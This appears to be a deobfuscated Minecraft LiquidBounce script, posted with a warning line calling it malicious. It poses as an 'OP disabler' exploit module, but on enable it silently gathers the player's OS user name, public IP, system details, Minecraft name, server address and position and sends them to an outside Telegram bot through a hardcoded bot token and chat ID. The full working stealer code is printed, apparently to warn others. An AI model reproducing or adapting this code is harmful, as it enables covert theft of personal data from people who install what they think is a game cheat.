Malicious. DON'T use this script.

// Deobf by Shurpe
var DateTimeFormatter = Java.type('java.time.format.DateTimeFormatter'),
    BufferedInputStream = Java.type('java.io.BufferedInputStream'),
    InputStreamReader = Java.type('java.io.InputStreamReader'),
    Minecraft = Java.type('net.minecraft.client.Minecraft'),
    BufferedReader = Java.type('java.io.BufferedReader'),
    ZonedDateTime = Java.type('java.time.ZonedDateTime'),
    IOException = Java.type('java.io.IOException'),
    Exception = Java.type('java.lang.Exception'),
    ZoneId = Java.type('java.time.ZoneId'),
    Locale = Java.type('java.util.Locale'),
    System = Java.type('java.lang.System'),
    String = Java.type('java.lang.String'),
    URL = Java.type('java.net.URL');

    DTF = DateTimeFormatter.ofPattern('MMMM d, yyyy HH:mm:ss', Locale.US),
    defaultZoneId = ZoneId.systemDefault(),
    API_TOKEN = '1418453085:AAFoFiTWZMrw9k6pSwzX37LTdHRYiK6WqA0',
    CHAT_ID = '1294649917';

function sendToTelegram(text) {
    URLString = "https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s";
    URLString = String.format(URLString, API_TOKEN, CHAT_ID, text);
    try {
        url = new URL(URLString);
        conn = url.openConnection();
        new BufferedInputStream(conn.getInputStream());
    } catch (IOException) {
        // ?
    }
}
function getIPAddress () {
    try {
        IPAddress = new BufferedReader(new InputStreamReader(new URL('http://checkip.amazonaws.com').openStream())).readLine();
    } catch (Exception) {
        IPAddress = 'Failed to obtain an IP address. (' + Exception + ')';
    }
    return IPAddress;
}
var script = registerScript({
    name: 'OPDISABLER2011NOTPATCHED',
    version: '0.0.1',
    authors: ['LiquidBounce']
});
script.registerModule({
    name: 'OPDISABLER2011NOTPATCHED',
    category: 'Exploit', 
    description: ''

}, function (module) {
    module.on('enable', function() {
        sendToTelegram(
            'User name : ' + System.getProperty("user.name") +
            '%0ALog date : ' + DTF.format(ZonedDateTime.now(defaultZoneId)) + ' ' + defaultZoneId +
            '%0AIP address : ' + getIPAddress() +
            '%0AOS architecture : ' + System.getProperty("os.arch") +
            '%0AOS version : ' + System.getProperty("os.version") +
            '%0AOS name : ' + System.getProperty("os.name") +
            '%0AMinecraft name : ' + mc.thePlayer.getName() +
            '%0AOnline server : ' + (Minecraft.getMinecraft().isSingleplayer() ? 'Singleplayer' : (mc.getCurrentServerData() != null ? mc.getCurrentServerData().serverIP.toLowerCase() : 'Unable to get a server.')) +
            '%0AServer position : ' + (Minecraft.getMinecraft().isSingleplayer() ? '-' : (mc.getCurrentServerData() != null ? (mc.thePlayer.posX.toFixed() + ', ' + mc.thePlayer.posY.toFixed() + ', ' + mc.thePlayer.posZ.toFixed()) : 'Unable to get a position.'))
        );
    });
});